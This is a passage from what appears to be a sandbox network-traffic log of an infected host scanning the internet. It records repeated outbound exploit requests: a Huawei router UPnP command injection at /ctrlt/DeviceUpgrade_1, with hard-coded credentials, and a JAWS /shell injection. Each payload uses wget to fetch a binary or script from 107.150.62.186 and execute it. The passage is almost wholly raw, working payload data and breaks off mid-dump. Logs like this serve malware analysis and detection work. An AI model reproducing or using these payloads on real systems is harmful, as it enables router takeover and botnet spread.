2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	47904	41.224.51.164	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.769325018 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	33486	156.219.91.159	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.770020008 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	59136	197.12.237.90	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.770693064 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	39660	197.236.132.149	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.771375895 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	46624	197.88.39.234	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.772180080 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	58906	156.195.230.243	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.781215906 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	48586	60.208.214.47	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.781279087 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	35080	156.233.138.121	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.782644987 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	51856	183.180.216.81	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.782872915 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	43762	41.200.188.11	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.784338951 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	41010	70.180.28.131	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.784626007 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	48322	197.125.8.61	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.785963058 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	59012	157.253.86.180	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.786206007 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	36918	41.172.233.144	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.787497997 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 